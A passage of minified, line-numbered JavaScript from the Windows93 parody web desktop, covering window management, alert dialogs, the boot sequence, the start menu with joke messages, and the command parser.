5680 e && (e.height || e.width) && (I.style.height = "auto", I.style.width = "auto", R.classList.remove("ui_window__body--flex"), e.height && (R.style.height = e.height + "px"), e.width && (R.style.width = e.width + "px"), y(), t && t())
5681 },
5682 active: function() {
5683 t.active(this.id)
5684 },
5685 changeTitle: function(e) {
5686 "string" == typeof e && (K && (K.innerHTML = e), me && (me.innerHTML = e, me.title = e))
5687 },
5688 changeIcon: function(e) {
5689 "string" == typeof e && (J && (J.src = e), ue && (ue.src = e))
5690 },
5691 changeFooter: function(e) {
5692 S.firstChild && (S.firstChild.innerHTML = e)
5693 }
5694 }, ee && ee.refresh($extend(B.menuThisArg || {}, {
5695 window: A
5696 })), B.onopen.call(A, I, R), B.activable && t.active(Z);
5697 var _e, we, be = $menu(R, $menu.extend([{
5698 name: "Maximize",
5699 disabled: !B.maximizable,
5700 action: function() {
5701 A.maximize()
5702 }
5703 }, {
5704 name: "Minimize",
5705 disabled: !B.minimizable,
5706 action: function() {
5707 A.minimize()
5708 }
5709 }, {
5710 name: "Move to center",
5711 disabled: !B.draggable,
5712 action: function() {
5713 q = B.dest.offsetWidth, D = B.dest.offsetHeight, I.style.top = ~~((D - I.offsetHeight) / 2) + "px", I.style.left = ~~((q - I.offsetWidth) / 2) + "px"
5714 }
5715 }, {
5716 name: "Refresh",
5717 disabled: !((!B.url || B.ajax) && "function" == typeof B.reload),
5718 action: function() {
5719 "function" == typeof this.cfg.reload ? this.cfg.reload() : this.el.iframe && (this.el.iframe.src = "", this.el.iframe.src = this.cfg.url)
5720 }
5721 }, {
5722 name: "---"
5723 }, {
5724 name: "Close",
5725 disabled: !B.closable,
5726 action: function() {
5727 A.close()
5728 }
5729 }], B.contextmenu), {
5730 trigger: !1,
5731 thisArg: A
5732 }),
5733 ve = document.createElement("div");
5734 return ve.className = "ui_window_transfer", document.body.appendChild(ve), A
5735}
5736
5737function i(e) {
5738 e.getElementsByTagName("iframe").length && e.getElementsByTagName("section")[0].appendChild(y.cloneNode(!1))
5739}
5740
5741function n(e) {
5742 var t = e.querySelector(".js-mask");
5743 t && t.parentNode && t.parentNode.removeChild(t)
5744}
5745
5746function o() {
5747 $io.arr.all(document.querySelectorAll(".ui_window--active"), function(e) {
5748 e.classList.remove("ui_window--active"), i(e)
5749 }), $io.arr.all(document.querySelectorAll(".ui_window_docked.pressed"), function(e) {
5750 e.classList.remove("pressed")
5751 })
5752}
5753
5754function a(e, t) {
5755 var i = t && 1 == t.nodeType ? t.getAttribute("data-window-id") : t,
5756 n = s[1 * i];
5757 n && n[e]()
5758}
5759var l = {
5760 title: "",
5761 html: "",
5762 help: "",
5763 url: null,
5764 menu: null,
5765 header: !0,
5766 footer: null,
5767 width: 390,
5768 height: 270,
5769 borderTopWidth: 1,
5770 borderBottomWidth: 1,
5771 borderLeftWidth: 1,
5772 borderRightWidth: 1,
5773 baseWidth: null,
5774 baseHeight: null,
5775 minWidth: null,
5776 minHeight: null,
5777 top: null,
5778 left: null,
5779 center: !1,
5780 noOut: !1,
5781 constrain: !1,
5782 ajax: !1,
5783 automaximize: !1,
5784 contextmenuOnBody: !1,
5785 resizable: !0,
5786 minimizable: !0,
5787 maximizable: !0,
5788 closable: !0,
5789 draggable: !0,
5790 dockable: !0,
5791 activable: !0,
5792 headerBtn: [],
5793 onopen: $noop,
5794 onready: $noop,
5795 onclose: $noop,
5796 onok: $noop,
5797 oncancel: $noop,
5798 onminimize: $noop,
5799 ondrag: $noop,
5800 ondragstop: $noop,
5801 onresize: $noop,
5802 onactive: $noop,
5803 ondestroy: $noop,
5804 animationIn: "",
5805 animationOut: "",
5806 baseClass: "",
5807 bodyClass: "",
5808 style: "",
5809 dest: document.body,
5810 dock: null
5811 },
5812 d = 0,
5813 s = [],
5814 c = document.createElement("div"),
5815 r = document.createElement("header"),
5816 u = document.createElement("header"),
5817 m = document.createElement("section"),
5818 f = document.createElement("footer"),
5819 h = document.createElement("iframe"),
5820 p = document.createElement("img"),
5821 _ = document.createElement("span"),
5822 w = document.createElement("button"),
5823 b = document.createElement("button"),
5824 v = document.createElement("button");
5825c.setAttribute("role", "dialog"), c.className = "ui_window ui_window--active", r.className = "ui_window__head", p.className = "ui_window__head__icon", _.className = "ui_window__head__title ui_elipsis", w.className = "ui_window__head__minimize", b.className = "ui_window__head__maximize", v.className = "ui_window__head__close", u.className = "ui_window__menu", m.className = "ui_window__body", f.className = "ui_window__foot", h.className = "ui_window__iframe", h.setAttribute("allowfullscreen", "true");
5826var y = document.createElement("div");
5827y.className = "js-mask", y.setAttribute("style", "background-image:url(/c/sys/img/spacer.gif); position: absolute; z-index: 2; left: 0; top: 0; right: 0; bottom: 0;"), t.config = function(e) {
5828 $extend(l, e)
5829}, t.instances = s, t.active = function(e) {
5830 var i = document.getElementById("ui_window_" + e);
5831 i.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon:not(.ui_is_dragging),.ui_window,.ui_z_indexed").num + 1, o(), i.classList.add("ui_window--active"), n(i);
5832 var a = document.getElementById("ui_window_docked_" + e);
5833 a && a.classList.add("pressed"), t.current = s[e], setTimeout(function() {
5834 s[e] && "function" == typeof s[e].cfg.onactive && s[e].cfg.onactive.call(s[e], s[e].el.base, s[e].el.body)
5835 }, 1)
5836}, t.close = function(e) {
5837 a("close", e)
5838}, t.destroy = function(e) {
5839 a("destroy", e)
5840}, t.maximize = function(e) {
5841 a("maximize", e)
5842}, t.restore = function(e) {
5843 a("restore", e)
5844}, e.$window = t
5845}(this);
5846//js/ui/window.plugins.js
5847! function(e) {
5848"use strict";
5849
5850function n(e, n) {
5851 var i = $extend({
5852 title: "Alert",
5853 baseClass: "ui_alert",
5854 msg: e,
5855 img: "/c/sys/skins/w93/alert.png",
5856 cb: n,
5857 sound: "alert",
5858 onopen: function() {
5859 this.cfg.sound && o.sound(this.cfg.sound);
5860 var e = m || this.el.btnOk;
5861 e && setTimeout(function() {
5862 e.focus()
5863 }, 100)
5864 },
5865 onactive: function() {
5866 var e = m || this.el.btnOk;
5867 e && setTimeout(function() {
5868 e.focus()
5869 }, 100)
5870 },
5871 onclose: function(t) {
5872 (n || e.cb || $noop)(t)
5873 }
5874 }, e),
5875 r = i.baseClass.split(" ")[0];
5876 if ("string" != typeof i.msg) try {
5877 i.msg = JSON.stringify(i.msg, null, 2), i.bodyClass = t.bodyClass + " " + r + "--code"
5878 } catch (e) {
5879 i.msg = i.msg + "", i.bodyClass = t.bodyClass + " " + r + "--code " + r + "--center"
5880 }
5881 var s = document.createElement("div"),
5882 l = document.createElement("div");
5883 document.createDocumentFragment();
5884 if (s.className = "clearfix", i.img) {
5885 var a = new Image;
5886 a.className = r + "__img", a.width = 32, a.height = 32, s.appendChild(a)
5887 }
5888 if (l.innerHTML = i.msg, l.className = r + "__text", s.appendChild(l), "string" == typeof i.prompt) {
5889 var c = document.createElement("form"),
5890 m = document.createElement("textarea");
5891 m.style.width = "100%", m.value = i.prompt, m.name = "prompt", m.onkeydown = function(e) {
5892 if ("number" != typeof(e = e || window.event).which && (e.which = e.keyCode), 13 === e.which && !e.shiftKey) return $el(c).trigger("submit"), e.preventDefault ? e.preventDefault() : e.returnValue = !1, e.stopPropagation ? e.stopPropagation() : e.cancelBubble = !0, e.stopImmediatePropagation(), !1
5893 }, c.appendChild(m), l.appendChild(c), l.style.textAlign = "left"
5894 }
5895 i.html = s;
5896 var d = null;
5897 if (!i.img) return $window($extend({}, t, i));
5898 var u = !1;
5899 d = function() {
5900 u || $window($extend({}, t, i)), u = !0
5901 }, a.onload = d, a.onerror = d, a.onabort = d, a.src = i.img
5902}
5903var t = {
5904 baseClass: "ui_alert",
5905 height: "auto",
5906 minHeight: "auto",
5907 footer: "",
5908 minimizable: !1,
5909 maximizable: !1,
5910 resizable: !1,
5911 center: !0,
5912 pinnable: !1,
5913 btnOk: "OK",
5914 animationIn: "none",
5915 animationOut: "random",
5916 width: 330
5917 },
5918 o = {
5919 sound: $noop
5920 };
5921n.error = $io.fn.leading(function(e, t) {
5922 console.error(e);
5923 var o = $error(e),
5924 i = {
5925 bodyClass: "js_error",
5926 title: o.name || "Error",
5927 msg: o.html
5928 };
5929 n($extend({
5930 title: "Error",
5931 msg: i,
5932 img: "/c/sys/skins/w93/error.png",
5933 cb: t,
5934 sound: "error"
5935 }, i))
5936}, 1e3), n.info = function(e, t) {
5937 n($extend({
5938 title: "Info",
5939 msg: e,
5940 img: t || "/c/sys/skins/w93/info.png",
5941 onopen: $noop,
5942 sound: null
5943 }, e))
5944}, n.progress = function(e, n) {
5945 var o = document.createElement("div"),
5946 i = document.createElement("div");
5947 i.className = "ui_progress__bar", o.className = "skin_inset_deep h20p mt5 relative ui_progress";
5948 var r = document.createElement("div"),
5949 s = document.createElement("div");
5950 r.textContent = e, o.appendChild(i), s.appendChild(r), s.appendChild(o), n = n || "Progress";
5951 var l = $window($extend({}, t, {
5952 title: n,
5953 html: s,
5954 btnOk: null
5955 }, e));
5956 return {
5957 update: function(e) {
5958 e = ~~e, l.changeTitle(e + "% - " + n), i.style.width = e + "%", e >= 100 && l.close()
5959 }
5960 }
5961}, n.help = function(e, n) {
5962 $window($extend({}, t, {
5963 title: "Help",
5964 html: e,
5965 bodyClass: "ui_alert--help skin_inset_deep skin_light pa10",
5966 sound: null
5967 }, e))
5968}, $window.form = function(e, n, o) {
5969 "string" != typeof e && (o = n, n = e, e = "Form");
5970 var i = $form.build(n);
5971 $window.call(this, $extend({}, t, {
5972 resizable: !0,
5973 title: e,
5974 html: i.el,
5975 btnOk: "OK",
5976 btnCancel: "Cancel",
5977 onsubmit: function(e, n, t) {
5978 console.log("???", n);
5979 var i = $form.validate(t);
5980 if (!i) return console.log(i), !1;
5981 (o || $noop)(e, n)
5982 }
5983 }))
5984};
5985var i = function(e, t) {
5986 n($extend({
5987 title: "Confirm",
5988 msg: e,
5989 img: "/c/sys/skins/w93/question.png",
5990 onopen: $noop,
5991 sound: null,
5992 cb: t,
5993 btnCancel: "Cancel"
5994 }, e))
5995 },
5996 r = function(e, t, o) {
5997 "function" == typeof t && (o = t, t = ""), n($extend({
5998 title: "Prompt",
5999 msg: e,
6000 img: null,
6001 sound: null,
6002 cb: o,
6003 prompt: t,
6004 onclose: function(n, t) {
6005 var i = t.prompt;
6006 (o || e.cb || $noop)(n, i)
6007 },
6008 btnCancel: "Cancel"
6009 }, e))
6010 };
6011n.config = function(e) {
6012 $extend(o, e)
6013}, e.$alert = n, e.$confirm = i, e.$prompt = r
6014}(this);
6015//os/boot/system42.js
6016var system42 = $kernel;
6017//os/boot/boot.js
6018system42("boot", function(s, t) {
6019"use strict";
6020$loader([s._temp.files, s._temp.mimetypes, s._settings.sounds.boot, s._settings.sounds.alert, s._settings.sounds.error], function(e, o, n, i, r) {
6021 s._files = e, s._get.mime.ext = o, s._sound.boot = n, s._sound.alert = i, s._sound.error = r, t()
6022})
6023});
6024//os/boot/bios.js
6025system42("bios", function(o) {
6026"use strict";
6027$boot.BOOTLOG.innerHTML += "\nWindows93 v" + $boot.VERSION + " booting on...", $boot.BOOTLOG.innerHTML += "\n" + platform.description, $boot.BOOTLOG.innerHTML += "\n"
6028});
6029//os/boot/settings.js
6030system42("settings", function(t) {
6031"use strict";
6032var s = Object.assign({}, t._settings);
6033t._settings = $store("settings.json", t._settings, function(s) {
6034 t._settings = s
6035}, function() {
6036 return t._settings
6037}), "string" == typeof t._settings ? t._settings = s : t._settings = Object.assign(s, t._settings), t._init.home = function() {
6038 t._path.home = "/a/", t._path.key.home = "", t._path.desktop = "/a/desktop/", t._path.key.desktop = "desktop/", t._path.skin = "/c/sys/skins/" + t._settings.skin + "/"
6039}, t._init.home()
6040});
6041//os/boot/storage.js
6042system42("storage", function(e, t) {
6043"use strict";
6044
6045function n(t, n) {
6046 s[t.name] = {};
6047 var o = $extend({}, t);
6048 o.col > -1 && (s[t.name].x = o.col * e._icons.w, delete o.col), o.row > -1 && (s[t.name].y = o.row * e._icons.h, delete o.row), s[t.name].time = i + n, delete o.name, $store.set(e._path.key.desktop + t.name, o)
6049}
6050
6051function o() {
6052 $file.scan("/a/", function() {
6053 t()
6054 })
6055}
6056var s = {},
6057 i = Date.now();
6058e._init.desktop = function() {
6059 $io.arr.each(e._temp.defaultDesk, n)
6060}, $store.set("system32.dll", "796f 2c20 706c 6561 7365 2064\n6f6e 2774 2064 656c 6574 6520\n6d65"), e._init.desktop(), e._desktop = $store(e._path.key.home + ".config/desktop.json", s, function(t) {
6061 e._desktop = t
6062}, function() {
6063 return e._desktop
6064}), !1 === e._settings.userData.localInit ? $io.enum([$io.obj.flatten(e._files.a, "/")], function(e, t, n) {
6065 if ("number" == typeof e) {
6066 var o = $fs.utils.isShortcut(t);
6067 $ajax.get("a_/" + t, {
6068 arraybuffer: !o
6069 }).done(function(e) {
6070 o ? ($store.set(t, e), n()) : $io.ArrayBuffer.Blob(e, function(e) {
6071 $db.set(t, e, n)
6072 }, $fs.utils.getMime(t))
6073 }).fail(function(e) {
6074 $boot.onerror(e), n()
6075 })
6076 } else $db.set(t + "/", null, n)
6077}, function() {
6078 o()
6079}) : o()
6080});
6081//os/boot/reset.js
6082system42("reset", function(e, t) {
6083"use strict";
6084$store.clear(), $db.clear(function() {
6085 t()
6086})
6087});
6088//os/boot/audio.js
6089system42("audio", function(n) {
6090"use strict";
6091
6092function o(o, s) {
6093 var i;
6094 return "string" != typeof o ? new Howl(o) : (n._settings.sounds[o] && (o = n._settings.sounds[o]), t[o] ? i = t[o] : (i = new Howl({
6095 buffer: !!s,
6096 urls: [o]
6097 }), t[o] = i), i)
6098}
6099window.Howl = window.Howl || function() {
6100 this.play = $noop, this.pause = $noop
6101};
6102var t = {};
6103o.config = function(n) {
6104 return new Howl(n)
6105}, o.stream = function(n) {
6106 return o(n, !0)
6107}, window.$audio = o
6108});
6109//os/boot/splash.js
6110system42("splash", function(e, s) {
6111"use strict";
6112var i;
6113$explorer(e._path.desktop, e._dom.desktop, {
6114 silent: !0,
6115 backgroundClass: "",
6116 viewType: "workspace"
6117});
6118e.devmode || $el.each(".ui_icon", function(e) {
6119 e.classList.add("hide")
6120}), e.started ? s() : (i = document.createElement("iframe"), e._dom.splash.appendChild(i), i.className = "fillspace", i.style.position = "fixed", i.style.visibility = "hidden", i.onload = function() {
6121 i.style.visibility = "visible", setTimeout(function() {
6122 s()
6123 }, 2500)
6124}, i.src = e._temp.splash)
6125});
6126//os/boot/utils.js
6127system42("utils", function(t) {
6128"use strict";
6129var i = {};
6130$io.obj.each(t._get.mime.ext, function(t, e) {
6131 $io.obj.each(t, function(t, n) {
6132 $io.arr.all(t[0].split(","), function(t) {
6133 i[t] = e + "/" + n
6134 })
6135 })
6136}), t._get.ext.mime = i, $io.obj.each(t._apps, function(i, e) {
6137 if ("string" != typeof i) {
6138 if (i.accept && $extend(i, $fs.utils.parseAccept(i.accept)), i.ext && $io.arr.all(i.ext, function(i) {
6139 t._get.ext.apps[i] ? t._get.ext.apps[i].push(e) : t._get.ext.apps[i] = [e]
6140 }), i.mimetype && t._get.mime.apps.push([i.mimetype, e]), i.icon && (i.icon = $fs.utils.normalizeIcon(i.icon)), i.install && system42.on("storage:ready", function(t) {
6141 i.install = i.install.replace(/^~\//, "/a/" + t._path.key.home), $io.obj.path.call("/", t._files, i.install, {
6142 exe: e,
6143 icon: i.icon
6144 })
6145 }), i.init && system42.on("config:ready", function(t) {
6146 i.init.call({
6147 le: t,
6148 app: i
6149 })
6150 }), i.exec) {
6151 var n = i.exec,
6152 a = $io.fn.arg(n);
6153 i.exec = function() {
6154 var t = i.icon;
6155 this.arg.options && this.arg.options.icon && (t = this.arg.options.icon = $fs.utils.normalizeIcon(this.arg.options.icon || this.arg.launcher.icon)), this.app = i, this.that.window || (this.that.window = {}), this.that.window.icon || (this.that.window.icon = t), this.that.window.title || (this.that.window.title = this.arg.launcher ? this.arg.launcher.title : i.name), this.that.window.title || delete this.that.window.title;
6156 var e = this.arg.arguments.concat([this.arg.options]);
6157 "arguments" === i.inject ? e = this.arg.arguments : $io.arr.each(a, function(t, i) {
6158 "url" === t && "string" != typeof e[i] && (e[i] = ""), "opt" === t && "object" != typeof e[i] && (e[i] = {})
6159 });
6160 var o;
6161 try {
6162 o = n.apply(this, e), o = void 0 === o ? 1 : o
6163 } catch (t) {
6164 $alert.error(t), o = 0
6165 }
6166 return o
6167 }
6168 }
6169 } else t._apps[e] = {
6170 alias: i,
6171 exec: function() {
6172 for (var t = [], e = 0, n = arguments.length; e < n; e++) "string" == typeof arguments[e] && t.push(arguments[e]);
6173 $exe.silent(i + " " + t.join(" "))
6174 }
6175 }
6176})
6177});
6178//os/boot/config.js
6179system42("config", function(e) {
6180"use strict";
6181var t, n = document.createElement("style");
6182document.head.appendChild(n), t = n.sheet;
6183var i = [];
6184$io.arr.all(document.styleSheets, function(e) {
6185 /sys42/.test(e.href) && $io.arr.all(e.rules || e.cssRules, function(e) {
6186 e.selectorText && /^\.fx_\w+/.test(e.selectorText) && i.push(e.selectorText.replace(".fx_", ""))
6187 })
6188}), $el.each("filter", function(e) {
6189 i.push(e.id.replace("fx_", "")), t.insertRule("." + e.id + ' {-webkit-filter: url("#' + e.id + '");}', 0), t.insertRule("." + e.id + ' {filter: url("#' + e.id + '");}', 0)
6190}), e._fx = i.sort(), $window.config({
6191 dest: e._dom.desktop,
6192 dock: document.getElementById("s42_dock"),
6193 ondestroy: function(t) {
6194 !t && e._selected.length && e._selected[0].focus()
6195 },
6196 animationIn: e.devmode ? "" : "random",
6197 animationOut: e.devmode ? "" : "random",
6198 contextmenu: {
6199 "before:Close": [{
6200 name: "Glitch",
6201 action: function() {
6202 $exe.call({
6203 silent: !0
6204 }, "glitch", this.el.base)
6205 }
6206 }, {
6207 name: "IE6",
6208 action: function() {
6209 $exe.call({
6210 silent: !0
6211 }, "ie6", this.el.base)
6212 }
6213 }, {
6214 name: "---"
6215 }, {
6216 name: "FX",
6217 items: function() {
6218 var t = this,
6219 n = [];
6220 return $io.arr.all(["none"].concat(e._apps.fx.effects), function(e) {
6221 t.fx || (t.fx = "none"), n.push({
6222 name: e,
6223 radio: "FX_list",
6224 selected: t.fx === e,
6225 action: function(n) {
6226 t.fx = e, t.el.base.className = t.el.base.className.replace(/fx_\w+/, ""), "none" !== e && $exe.call({
6227 silent: !0
6228 }, "fx", e, t.el.base)
6229 }
6230 })
6231 }), n
6232 }
6233 }, {
6234 name: "---"
6235 }]
6236 },
6237 headerBtn: [{
6238 name: "help",
6239 init: function() {
6240 return !!this.help
6241 },
6242 action: function() {
6243 $alert.info(this.cfg.help)
6244 }
6245 }, {
6246 name: "pin",
6247 title: "pin this window (it will reopen each time you boot windows93)",
6248 init: function() {},
6249 action: function(t) {
6250 var n = t.target;
6251 if (this.cfg.caller.that.pinned) delete e._pins[this.cfg.caller.that.pinned], this.cfg.caller.that.pinned = null, n.classList.remove("pressed");
6252 else {
6253 var i = this.el.body.offsetWidth,
6254 s = this.el.body.offsetHeight,
6255 o = this.el.base.offsetTop,
6256 l = this.el.base.offsetLeft;
6257 e._pins.push([this.cfg.caller.arg.command, {
6258 width: i,
6259 height: s,
6260 top: o,
6261 left: l
6262 }]), $route(""), n.classList.add("pressed")
6263 }
6264 }
6265 }]
6266}), $screenshot.config({
6267 default: e._dom.screen
6268}), $notif.config({
6269 default: e._dom.clock,
6270 dest: e._dom.desktop
6271}), $alert.config({
6272 sound: function(t) {
6273 t && e._sound[t] && e._sound[t].play()
6274 }
6275})
6276});
6277//os/boot/start.js
6278system42("start", function(n) {
6279"use strict";
6280
6281function s(t, e) {
6282 var i = [],
6283 o = [];
6284 for (var c in t)
6285 if (t.hasOwnProperty(c) && "." !== c && ".." !== c)
6286 if ("number" == typeof t[c]) {
6287 var r = $fs.utils.getInfo(c),
6288 u = $fs.utils.getOpeners(c);
6289 i.push({
6290 name: c,
6291 icon: r.icon,
6292 action: function(n, s, t) {
6293 return function() {
6294 $exe(t[0] + " " + e + n)
6295 }
6296 }(c, 0, u)
6297 })
6298 } else($io.is.obj(t[c]) || $io.is.arr(t[c])) && o.push({
6299 name: c,
6300 icon: "/c/sys/skins/" + n._settings.skin + "/places/16/folder.png",
6301 items: function(n, t) {
6302 return function() {
6303 return s(n, t)
6304 }
6305 }(t[c], e + c + "/")
6306 });
6307 return o.sort().concat(i.sort())
6308}
6309
6310function t(s) {
6311 var t = [],
6312 e = [],
6313 i = Object.keys(s);
6314 return $io.arr.all(i.sort(), function(i) {
6315 if (s[i] && s[i].exec) {
6316 var o = s[i].name ? i + ' <em class="startmenu_cmd">(' + s[i].name + ")</em>" : i,
6317 c = s[i].icon || "/c/sys/skins/" + n._settings.skin + "/programs.png";
6318 0 !== c.indexOf("/") && (c = "/c/sys/skins/" + n._settings.skin + "/" + c), (s[i].cmd ? t : e).push({
6319 name: o,
6320 icon: c,
6321 action: function(n) {
6322 return function() {
6323 $exe(n)
6324 }
6325 }(i)
6326 })
6327 }
6328 }), e
6329}
6330var e = {
6331 find: function() {
6332 $alert("<b>Did you know ?</b><br>You can use Find to locate your real father.<br>But I will save you the trouble.<br><b>Windows 93 is your real father.</b>")
6333 },
6334 help: function() {
6335 $exe("clippy")
6336 },
6337 run: function() {
6338 $alert.error("There is nowhere you can run")
6339 },
6340 reboot: function() {
6341 $exe("reboot")
6342 },
6343 settings: function() {
6344 $window({
6345 title: "Settings",
6346 html: $form.build(n._settings).el,
6347 width: 400,
6348 btnOk: "OK",
6349 btnCancel: "Cancel",
6350 onclose: function(n, s) {}
6351 })
6352 },
6353 format: function() {
6354 $exe("format")
6355 },
6356 fullscreen: function() {
6357 $fullscreen()
6358 },
6359 shutdown: function() {
6360 $exe("shutdown")
6361 }
6362 },
6363 i = [{
6364 name: "Programs",
6365 icon: "/c/sys/skins/" + n._settings.skin + "/programs.png",
6366 items: function() {
6367 return t(n._apps)
6368 }
6369 }, {
6370 name: "Documents",
6371 icon: "/c/sys/skins/" + n._settings.skin + "/documents.png",
6372 items: function() {
6373 return s(n._files.c, "c/")
6374 }
6375 }, {
6376 name: "Fullscreen",
6377 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6378 action: e.fullscreen
6379 }, {
6380 name: "Find",
6381 icon: "/c/sys/skins/" + n._settings.skin + "/find.png",
6382 action: e.find
6383 }, {
6384 name: "Help",
6385 icon: "/c/sys/skins/" + n._settings.skin + "/help.png",
6386 action: e.help
6387 }, {
6388 name: "Run...",
6389 icon: "/c/sys/skins/" + n._settings.skin + "/run.png",
6390 action: e.run
6391 }, {
6392 name: "---"
6393 }, {
6394 name: "Reinstall",
6395 icon: "/c/sys/skins/" + n._settings.skin + "/install.png",
6396 action: e.format
6397 }, {
6398 name: "---"
6399 }, {
6400 name: "Reboot...",
6401 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6402 action: e.reboot
6403 }, {
6404 name: "Shutdown",
6405 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6406 action: e.shutdown
6407 }];
6408$menu(document.getElementById("s42_start"), i, {
6409 mode: "popup",
6410 position: {
6411 within: n._dom.desktop
6412 }
6413 }),
6414 function() {
6415 var s, t = n._dom.clock;
6416 t && function n() {
6417 var e = new Date,
6418 i = e.getHours(),
6419 o = e.getMinutes();
6420 s !== (i = (i < 10 ? "0" : "") + i) + ":" + (o = (o < 10 ? "0" : "") + o) && (s = i + ":" + o, t.textContent = s, t.title = e), setTimeout(n, 1e4)
6421 }()
6422 }()
6423});
6424//os/boot/register.js
6425system42("register", function(e, t) {
6426"use strict";
6427
6428function s() {
6429 e._dom.splash.classList.remove("hide"), e._init.home(), t()
6430}
6431if (!1 === e._settings.userData.localInit) {
6432 e._dom.splash.classList.add("hide");
6433 var i = function() {
6434 var t = document.getElementById("WELCOME"),
6435 i = document.getElementById("TERMS"),
6436 n = document.getElementById("PROMPT"),
6437 a = document.getElementById("USERNAME");
6438 document.getElementById("SERIAL");
6439 if (i.classList.contains("hide") && n.classList.contains("hide")) t.classList.add("hide"), i.classList.remove("hide"), this.el.btnOk.innerHTML = "Didn't Read Lol ^^";
6440 else {
6441 if (!n.classList.contains("hide")) return e._settings.userData.nick = a.value || "anonymous", e._settings.userData.localInit = !0, s(), !0;
6442 i.classList.add("hide"), n.classList.remove("hide"), this.el.btnOk.innerHTML = "Let's ROCK"
6443 }
6444 return !1
6445 };
6446 $window({
6447 url: "/wizard.php",
6448 ajax: !0,
6449 title: "Setup Wizard",
6450 btnCancel: "Nope",
6451 animationIn: "flip",
6452 animationOut: "",
6453 center: !0,
6454 height: 350,
6455 width: 510,
6456 btnOk: "Cool Story, Bro",
6457 onok: i,
6458 oncancel: i
6459 })
6460} else s()
6461});
6462//os/boot/reveal.js
6463system42("reveal", function(e, o) {
6464"use strict";
6465e._settings.userData.localInit = !0, e.devmode || e._sound.boot.play(), setTimeout(function() {
6466 e._dom.splash.parentNode.removeChild(e._dom.splash), e._dom.taskbar.classList.remove("hide"), e._dom.desktop.classList.remove("invisible"), e.devmode || setTimeout(function() {
6467 $el.each(".ui_icon", function(e) {
6468 setTimeout(function() {
6469 e.classList.remove("hide")
6470 }, Math.abs(1e3 * Math.random()) + 100)
6471 })
6472 }, 100), $el(e._dom.desktop).on("click", ".js_error a", function(e) {
6473 return e.target.href && $exe("code", e.target.href), !1
6474 }), $el(e._dom.screen).on("drag dragenter dragover dragleave drop", function(e) {
6475 e.preventDefault()
6476 }), $route.on("change", function(e) {
6477 $exe(e)
6478 }), $route.init(), document.documentElement.focus(), window.onerror = function() {
6479 $alert.error(arguments)
6480 }, o()
6481}, e.devmode ? 0 : 600)
6482});
6483//os/sys/exe.js
6484system42("exe", function(t) {
6485"use strict";
6486
6487function e(t) {
6488 var e = $url.getDomain(t.url);
6489 if (e && location.hostname != e) return $window(t), !0;
6490 if ("/" === t.url.slice(-1)) return $explorer(t.url), !0;
6491 if (t.url) {
6492 var r;
6493 if (t.openers) r = l[t.openers.split(",")[0]];
6494 else {
6495 var o = $fs.utils.getOpeners(t.url);
6496 o[0] && (r = l[o[0]])
6497 }
6498 if (r && r.exec) return i.call(this, r, {
6499 command: t.url,
6500 arguments: [t.url],
6501 options: t
6502 }), !0
6503 }
6504 return !1
6505}
6506
6507function i(e, i) {
6508 var o = this || {},
6509 n = o && o.cli;
6510 return !0 !== e.terminal || n ? e.exec.apply({
6511 le: t,
6512 that: o,
6513 cli: n ? o : null,
6514 arg: i
6515 }) : r.call(this, "terminal", "", {
6516 onopen: function(r) {
6517 setTimeout(function() {
6518 e.exec.apply({
6519 le: t,
6520 that: o,
6521 cli: r,
6522 arg: i
6523 })
6524 }, 100)
6525 }
6526 }), !0
6527}
6528
6529function r(t, n, s) {
6530 if (t && "string" == typeof t && -1 != t.indexOf(" | ")) {
6531 var u = this,
6532 c = t.split(" | ");
6533 return u.silent || ($route(t), u.slient = !0), $io.arr.each(c, function(t, e) {
6534 setTimeout(function() {
6535 r.call(u, t)
6536 }, 700 * e)
6537 }), !0
6538 }
6539 if (t)
6540 if (t.nodeType && 1 === t.nodeType) {
6541 var p = $extend({}, t.dataset);
6542 if (p.exe) return r(p.exe, n, p);
6543 if (p.alert) return $alert(p.alert), !0;
6544 if (p.error) return $alert.error(p.error), !0
6545 } else {
6546 if (l[t] && l[t].exec) {
6547 var f = i.call(this, l[t], {
6548 command: t,
6549 arguments: Array.prototype.slice.call(arguments, 1)
6550 });
6551 return !1 !== f && !0 !== l[t].silent && $route(t), f
6552 }
6553 if ("string" == typeof t) {
6554 if (0 === t.indexOf("http")) return s && void 0 !== s.iframable ? a(t, s) : r.parseURL(t, function(t) {
6555 a(t.exe, t)
6556 }), !0;
6557 var d;
6558 try {
6559 d = o(t)
6560 } catch (t) {}
6561 if (d && d.program && l[d.program] && l[d.program].exec) return s && (d.launcher = s), i.call(this, l[d.program], d);
6562 try {
6563 0 !== t.indexOf("/") && this && this.cfg && this.cfg.cwd && (t = this.cfg.cwd + "/" + t);
6564 var h = $fs.utils.exist(t);
6565 if (!1 !== h) return "object" == typeof h.obj && "/" !== t.slice(-1) && (t += "/"), e.call(this, {
6566 url: t
6567 })
6568 } catch (t) {}
6569 }
6570 }
6571 return !1
6572}
6573
6574function o(t) {
6575 for (var e, i = [], r = [], o = {
6576 long: {},
6577 short: {}
6578 }, n = !1, a = !1, s = !1, u = 0, c = 0, p = 0, f = t.length; p <= f; p++)
6579 if (e = t.charAt(p), n || "-" !== e || !a && " " !== t.charAt(p - 1))
6580 if ('"' !== e || "\\" === t.charAt(p - 1))
6581 if (!n && " " === e || p === f)
6582 if (a) {
6583 var d = r[u].split("="),
6584 h = d[0],
6585 m = d[1],
6586 g = 1 * m;
6587 if (m = g == m ? g : m, s) h.indexOf(".") > -1 ? $io.obj.path(o.long, h, m || !0) : o.long[h] = m || !0;
6588 else
6589 for (var y = h.split(""), w = 0, b = y.length; w < b; w++) o.short[y[w]] = m || !0;
6590 u++, s = !1, a = !1
6591 } else c++;
6592 else a ? r[u] = r[u] ? r[u] + e : e : i[c] = i[c] ? i[c] + e : e;
6593 else n = !n;
6594 else "-" === t.charAt(p + 1) && (s = !0), a = !0;
6595 var v = i.shift();
6596 return !(!l[v] || !l[v].exec) && ($io.obj.each(o.short, function(t, e) {
6597 l[v].options && l[v].options[e] ? o.long[l[v].options[e][0]] = t : o.long[e] = t
6598 }), {
6599 command: t,
6600 program: v,
6601 arguments: i,
6602 options: o.long
6603 })
6604}
6605
6606function n(t) {
6607 function e(t) {
6608 return (t + "").indexOf(" ") > -1 ? '"' + t + '"' : t
6609 }
6610 if ("string" == typeof t) return " " + e(t);
6611 var i = "";
6612 return $io.obj.each(t, function(t, r) {
